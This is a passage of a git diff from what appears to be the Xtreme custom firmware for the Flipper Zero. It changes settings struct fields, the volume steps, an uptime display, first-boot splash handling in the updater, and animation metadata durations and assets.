XTREME_APPS_PATH CFG_PATH("xtreme_apps.txt") -// Some settings function backwards (logically) in -// order to fit the default value we want -// (values will default to 0 / false) typedef struct { char asset_pack[MAX_PACK_NAME_LEN]; uint16_t anim_speed; int32_t cycle_anims; bool unlock_anims; + bool fallback_anim; + bool wii_menu; + bool lockscreen_time; + bool lockscreen_date; + bool lockscreen_statusbar; + bool lockscreen_prompt; BatteryIcon battery_icon; bool status_icons; bool bar_borders; bool bar_background; + bool sort_dirs_first; + bool dark_mode; bool bad_bt; bool bad_bt_remember; int32_t butthurt_timer; - bool sort_dirs_first; - bool dark_mode; - bool left_handed; + bool rgb_backlight; } XtremeSettings; XtremeSettings* XTREME_SETTINGS(); diff --git a/applications/services/xtreme/settings_filename.h b/applications/services/xtreme/settings_filename.h deleted file mode 100644 index c2706c76e..000000000 --- a/applications/services/xtreme/settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define XTREME_SETTINGS_FILE_NAME ".xtreme.settings" diff --git a/applications/settings/about/about.c b/applications/settings/about/about.c index e0fa8204e..bf0b8acfc 100644 --- a/applications/settings/about/about.c +++ b/applications/settings/about/about.c @@ -284,6 +284,10 @@ static void battery_info_draw_callback(Canvas* canvas, void* context) { elements_button_left(canvas, "Back"); elements_button_right(canvas, "Next"); + char uptime[17]; + uint32_t sec = furi_get_tick() / furi_kernel_get_tick_frequency(); + snprintf(uptime, sizeof(uptime), "Up %02lu:%02lu:%02lu", sec / 3600, sec / 60 % 60, sec % 60); + canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, uptime); } static bool battery_info_input_callback(InputEvent* event, void* context) { diff --git a/applications/settings/bt_settings_app/scenes/bt_settings_scene_forget_dev_confirm.c b/applications/settings/bt_settings_app/scenes/bt_settings_scene_forget_dev_confirm.c index c912f2e5d..00ddca333 100644 --- a/applications/settings/bt_settings_app/scenes/bt_settings_scene_forget_dev_confirm.c +++ b/applications/settings/bt_settings_app/scenes/bt_settings_scene_forget_dev_confirm.c @@ -1,6 +1,6 @@ #include "../bt_settings_app.h" #include -#include +#include void bt_settings_scene_forget_dev_confirm_dialog_callback(DialogExResult result, void* context) { furi_assert(context); diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c index a3ebe5ffc..4ec90d097 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c @@ -9,7 +9,8 @@ // #define SCENE_EVENT_SELECT_FAVORITE_GAME 2 #define SCENE_EVENT_SELECT_PIN_SETUP 2 #define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 3 -#define SCENE_EVENT_SELECT_BATTERY_DISPLAY 4 +#define SCENE_EVENT_SELECT_AUTO_LOCK_PIN 4 +#define SCENE_EVENT_SELECT_BATTERY_DISPLAY 5 #define AUTO_LOCK_DELAY_COUNT 9 const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = { diff --git a/applications/settings/notification_settings/notification_settings_app.c b/applications/settings/notification_settings/notification_settings_app.c index 23ed4ac67..01ab6bd86 100644 --- a/applications/settings/notification_settings/notification_settings_app.c +++ b/applications/settings/notification_settings/notification_settings_app.c @@ -30,15 +30,15 @@ const float backlight_value[BACKLIGHT_COUNT] = { 0.55f, 0.60f, 0.65f, 0.70f, 0.75f, 0.80f, 0.85f, 0.90f, 0.95f, 1.00f, }; -#define VOLUME_COUNT 5 +#define VOLUME_COUNT 21 const char* const volume_text[VOLUME_COUNT] = { - "0%", - "25%", - "50%", - "75%", - "100%", + "0%", "5%", "10%", "15%", "20%", "25%", "30%", "35%", "40%", "45%", "50%", + "55%", "60%", "65%", "70%", "75%", "80%", "85%", "90%", "95%", "100%", +}; +const float volume_value[VOLUME_COUNT] = { + 0.00f, 0.05f, 0.10f, 0.15f, 0.20f, 0.25f, 0.30f, 0.35f, 0.40f, 0.45f, 0.50f, + 0.55f, 0.60f, 0.65f, 0.70f, 0.75f, 0.80f, 0.85f, 0.90f, 0.95f, 1.00f, }; -const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f}; #define DELAY_COUNT 11 const char* const delay_text[DELAY_COUNT] = { @@ -137,7 +137,7 @@ static NotificationAppSettings* alloc_settings() { uint8_t value_index; item = variable_item_list_add( - app->variable_item_list, "LCD Backlight", BACKLIGHT_COUNT, backlight_changed, app); + app->variable_item_list, "LCD Brightness", BACKLIGHT_COUNT, backlight_changed, app); value_index = value_index_float( app->notification->settings.display_brightness, backlight_value, BACKLIGHT_COUNT); variable_item_set_current_value_index(item, value_index); diff --git a/applications/settings/power_settings_app/power_settings.h b/applications/settings/power_settings_app/power_settings.h deleted file mode 100644 index 0f2afa295..000000000 --- a/applications/settings/power_settings_app/power_settings.h +++ /dev/null @@ -1,16 +0,0 @@ -#include -#include -#include "power_settings_filename.h" - -#define POWER_SETTINGS_VER (1) - -#define POWER_SETTINGS_PATH INT_PATH(POWER_SETTINGS_FILE_NAME) -#define POWER_SETTINGS_MAGIC (0x21) - -#define SAVE_POWER_SETTINGS(x) \ - saved_struct_save( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) - -#define LOAD_POWER_SETTINGS(x) \ - saved_struct_load( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) diff --git a/applications/settings/power_settings_app/power_settings_filename.h b/applications/settings/power_settings_app/power_settings_filename.h deleted file mode 100644 index 6a3be534c..000000000 --- a/applications/settings/power_settings_app/power_settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define POWER_SETTINGS_FILE_NAME ".power.settings" \ No newline at end of file diff --git a/applications/system/updater/application.fam b/applications/system/updater/application.fam index a693fa6f5..ae6914eb7 100644 --- a/applications/system/updater/application.fam +++ b/applications/system/updater/application.fam @@ -6,6 +6,7 @@ App( requires=[ "gui", "storage", + "rgb_backlight", ], conflicts=["desktop"], entry_point="updater_srv", diff --git a/applications/system/updater/util/update_task_worker_backup.c b/applications/system/updater/util/update_task_worker_backup.c index f2c33c2ed..ddd5ffd3f 100644 --- a/applications/system/updater/util/update_task_worker_backup.c +++ b/applications/system/updater/util/update_task_worker_backup.c @@ -4,7 +4,7 @@ #include #include #include -#include +#include #include #include #include @@ -13,6 +13,8 @@ #include #include +#define XFWFIRSTBOOT_FLAG_PATH CFG_PATH("xfwfirstboot.flag") + #define TAG "UpdWorkerBackup" #define CHECK_RESULT(x) \ @@ -197,11 +199,27 @@ static bool update_task_post_update(UpdateTask* update_task) { update_task_set_progress(update_task, UpdateTaskStageSplashscreenInstall, 0); FuriString* tmp_path; tmp_path = furi_string_alloc_set(update_task->update_path); - path_append(tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + if(storage_common_stat(update_task->storage, XFWFIRSTBOOT_FLAG_PATH, NULL) == + FSE_NOT_EXIST) { + File* file = storage_file_alloc(update_task->storage); + if(storage_file_open( + file, XFWFIRSTBOOT_FLAG_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + storage_file_close(file); + } + storage_file_free(file); + path_append(tmp_path, "xfwfirstboot.bin"); + if(storage_common_stat( + update_task->storage, furi_string_get_cstr(tmp_path), NULL) != FSE_OK) { + furi_string_set(tmp_path, update_task->update_path); + path_append( + tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + } + } else { + path_append(tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + } if(storage_common_copy( - update_task->storage, - furi_string_get_cstr(tmp_path), - INT_PATH(SLIDESHOW_FILE_NAME)) != FSE_OK) { + update_task->storage, furi_string_get_cstr(tmp_path), SLIDESHOW_FS_PATH) != + FSE_OK) { // actually, not critical } furi_string_free(tmp_path); diff --git a/assets/.gitignore b/assets/.gitignore index 2ecf4ed66..e953f6e7c 100644 --- a/assets/.gitignore +++ b/assets/.gitignore @@ -1,3 +1,6 @@ /core2_firmware /resources/Manifest /resources/apps/* +/resources/dolphin/* +/resources/dolphin_custom/* +/resources/apps_data/**/*.fal diff --git a/assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png b/assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png new file mode 100644 index 000000000..db225de36 Binary files /dev/null and b/assets/dolphin/custom/NSFW/Icons/Interface/WarningDolphin_45x42.png differ diff --git a/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png b/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png index a48c5330e..4776f1445 100644 Binary files a/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png and b/assets/dolphin/custom/NSFW/Icons/SubGhz/Fishing_123x52.png differ diff --git a/assets/dolphin/custom/NSFW/Icons/SubGhz/Scanning_123x52.png b/assets/dolphin/custom/NSFW/Icons/SubGhz/Scanning_123x52.png index a48c5330e..4776f1445 100644 Binary files a/assets/dolphin/custom/NSFW/Icons/SubGhz/Scanning_123x52.png and b/assets/dolphin/custom/NSFW/Icons/SubGhz/Scanning_123x52.png differ diff --git a/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt index 0a08fc2a7..66c24264d 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/BOTTY_CALL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt index 4991b01ee..f4f53aa99 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_AD/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt index 1f2937d97..88980a387 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ANIM/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 Active cycles: 0 Frame rate: 6 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt index c60148050..6ac53beff 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_ASCII/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt index 64a5c9465..ad50d4b4f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_LOGO/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Active cycles: 0 Frame rate: 5 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt index 6dabe353f..86b4dc85b 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt index e92e59530..2182d0f06 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_TALK/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt index 55dd3ae55..1df4b57df 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Active cycles: 0 Frame rate: 7 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt index 118db3cbe..7afb017c4 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/FINGER/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 2 3 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt index 8fe58cec3..1dee96631 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/GUNS_CAR/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt index f83c9071b..f2090f51f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/HANDS/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 5 4 3 2 1 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt index 10961ac36..330bc1dcf 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/JOIN_US/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 Active cycles: 0 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt index 305463c19..557c6c190 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/LOGO_WD2/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt index 81cc6c7d9..94069bbdb 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/MARCUS/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt index 1ede66745..c93566fa2 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/MUMMY/meta.txt @@ -8,7 +8,7 @@ Active frames: 4 Frames order: 2 0 1 3 0 2 3 2 3 Active cycles: 2 Frame rate: 2 -Duration: 3600 +Duration: 360 Active cooldown: 1 Bubble slots: 1 diff --git a/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt index 64a5c9465..ad50d4b4f 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/REAPER/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Active cycles: 0 Frame rate: 5 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt index d3a51de2f..0ba9a0146 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/REAPER_ALT/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt index 1ca66ff13..1133c9f88 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SKULL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt index 53f5a9ef3..304f39570 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SKULL_SPIN/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt b/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt index 81cc6c7d9..94069bbdb 100644 --- a/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt +++ b/assets/dolphin/custom/WatchDogs/Anims/SPIRAL/meta.txt @@ -8,7 +8,7 @@ Active frames: 0 Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Active cycles: 0 Frame rate: 4 -Duration: 3600 +Duration: 360 Active cooldown: 0 Bubble slots: 0 diff --git a/assets/dolphin/external/L1_Cry_128x64/meta.txt b/assets/dolphin/external/L1_Cry_128x64/meta.txt index ea0bf89d0..43b4603d4 100644 --- a/assets/dolphin/external/L1_Cry_128x64/meta.txt +++ b/assets/dolphin/external/L1_Cry_128x64/meta.txt @@ -38,4 +38,4 @@ Text: Why are you\nalways away? AlignH: Right AlignV: Bottom StartFrame: 9 -EndFrame: 15 \ No newline at end of file +EndFrame: 15 diff --git a/assets/dolphin/external/L1_Mods_128x64/meta.txt b/assets/dolphin/external/L1_Mods_128x64/meta.txt index 255fda738..40dc021bf 100644 --- a/assets/dolphin/external/L1_Mods_128x64/meta.txt +++ b/assets/dolphin/external/L1_Mods_128x64/meta.txt @@ -11,4 +11,4 @@ Frame rate: 2 Duration: 360 Active cooldown: 7 -Bubble slots: 0 \ No newline at end of file +Bubble slots: 0 diff --git a/assets/dolphin/external/L1_Painting_128x64/meta.txt b/assets/dolphin/external/L1_Painting_128x64/meta.txt index 3676efdfe..b0b88fbbd 100644 --- a/assets/dolphin/external/L1_Painting_128x64/meta.txt +++ b/assets/dolphin/external/L1_Painting_128x64/meta.txt @@ -29,4 +29,4 @@ Text: only happy\n accidents AlignH: Left AlignV: Center StartFrame: 15 -EndFrame: 18 \ No newline at end of file +EndFrame: 18 diff --git a/assets/dolphin/external/L1_Sleep_128x64/meta.txt b/assets/dolphin/external/L1_Sleep_128x64/meta.txt index eea23b69c..589f46294 100644 --- a/assets/dolphin/external/L1_Sleep_128x64/meta.txt +++ b/assets/dolphin/external/L1_Sleep_128x64/meta.txt @@ -38,4 +38,4 @@ Text: Just a dream... AlignH: Left AlignV: Bottom StartFrame: 6 -EndFrame: 9 \ No newline at end of file +EndFrame: 9 diff --git a/assets/dolphin/external/L1_Waves_128x50/meta.txt b/assets/dolphin/external/L1_Waves_128x50/meta.txt index f86579634..edc7ebe99 100644 --- a/assets/dolphin/external/L1_Waves_128x50/meta.txt +++ b/assets/dolphin/external/L1_Waves_128x50/meta.txt @@ -47,4 +47,4 @@ Text: swim all day AlignH: Right AlignV: Bottom StartFrame: 6 -EndFrame: 9 \ No newline at end of file +EndFrame: 9 diff --git a/assets/dolphin/external/L2_Wake_up_128x64/meta.txt b/assets/dolphin/external/L2_Wake_up_128x64/meta.txt index c91bda1fc..08de0bbc0 100644 --- a/assets/dolphin/external/L2_Wake_up_128x64/meta.txt +++ b/assets/dolphin/external/L2_Wake_up_128x64/meta.txt @@ -11,4 +11,4 @@ Frame rate: 2 Duration: 360 Active cooldown: 7 -Bubble slots: 0 \ No newline at end of file +Bubble slots: 0 diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_0.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_0.png new file mode 100644 index 000000000..023da26d5 Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_0.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_1.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_1.png new file mode 100644 index 000000000..999e5af17 Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_1.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_2.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_2.png new file mode 100644 index 000000000..fa2782f2d Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_2.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_3.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_3.png new file mode 100644 index 000000000..f86f35cec Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_3.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_4.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_4.png new file mode 100644 index 000000000..b86eba07d Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_4.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_5.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_5.png new file mode 100644 index 000000000..e8303b575 Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_5.png differ diff --git a/assets/dolphin/external/L3_Sunflower_128x64/frame_6.png b/assets/dolphin/external/L3_Sunflower_128x64/frame_6.png new file mode 100644 index 000000000..aaaa2a5cd Binary files /dev/null and b/assets/dolphin/external/L3_Sunflower_128x64/frame_6.png differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt b/assets/dolphin/external/L3_Sunflower_128x64/meta.txt similarity index 71% rename from assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt rename to assets/dolphin/external/L3_Sunflower_128x64/meta.txt index 6ad698fe2..f93fdaae7 100644 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/meta.txt +++ b/assets/dolphin/external/L3_Sunflower_128x64/meta.txt @@ -5,9 +5,9 @@ Width: 128 Height: 64 Passive frames: 16 Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 +Frames order: 0 1 2 3 4 5 5 5 6 6 6 6 6 6 3 3 Active cycles: 0 -Frame rate: 6 +Frame rate: 1 Duration: 360 Active cooldown: 0 diff --git a/assets/dolphin/external/manifest.txt b/assets/dolphin/external/manifest.txt index bd344074d..52cc88a7e 100644 --- a/assets/dolphin/external/manifest.txt +++ b/assets/dolphin/external/manifest.txt @@ -69,7 +69,7 @@ Min butthurt: 0 Max butthurt: 9 Min level: 15 Max level: 30 -Weight: 4 +Weight: 3 Name: L1_Painting_128x64 Min butthurt: 0 @@ -90,7 +90,7 @@ Min butthurt: 0 Max butthurt: 12 Min level: 22 Max level: 30 -Weight: 4 +Weight: 3 Name: L2_Furippa2_128x64 Min butthurt: 0 @@ -133,3 +133,10 @@ Max butthurt: 10 Min level: 27 Max level: 30 Weight: 3 + +Name: L3_Sunflower_128x64 +Min butthurt: 0 +Max butthurt: 14 +Min level: 1 +Max level: 30 +Weight: 0 diff --git a/assets/dolphin/internal/thank_you_128x64/frame_0.png b/assets/dolphin/internal/thank_you_128x64/frame_0.png index 0e7f95c28..596818f9c 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_0.png and b/assets/dolphin/internal/thank_you_128x64/frame_0.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_1.png b/assets/dolphin/internal/thank_you_128x64/frame_1.png index 70bededd2..169268873 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_1.png and b/assets/dolphin/internal/thank_you_128x64/frame_1.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_2.png b/assets/dolphin/internal/thank_you_128x64/frame_2.png index b2056da40..5dd36c99b 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_2.png and b/assets/dolphin/internal/thank_you_128x64/frame_2.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_3.png b/assets/dolphin/internal/thank_you_128x64/frame_3.png index 9f58533d5..5f7c5ea7b 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_3.png and b/assets/dolphin/internal/thank_you_128x64/frame_3.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_4.png b/assets/dolphin/internal/thank_you_128x64/frame_4.png index 84f53a867..926ec7805 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_4.png and b/assets/dolphin/internal/thank_you_128x64/frame_4.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_5.png b/assets/dolphin/internal/thank_you_128x64/frame_5.png index da822669c..c63520565 100644 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_5.png and b/assets/dolphin/internal/thank_you_128x64/frame_5.png differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_6.png b/assets/dolphin/internal/thank_you_128x64/frame_6.png deleted file mode 100644 index dca4f918b..000000000 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_6.png and /dev/null differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_7.png b/assets/dolphin/internal/thank_you_128x64/frame_7.png deleted file mode 100644 index dc007c650..000000000 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_7.png and /dev/null differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_8.png b/assets/dolphin/internal/thank_you_128x64/frame_8.png deleted file mode 100644 index 7eca54d71..000000000 Binary files a/assets/dolphin/internal/thank_you_128x64/frame_8.png and /dev/null differ diff --git a/assets/dolphin/internal/thank_you_128x64/frame_9.png 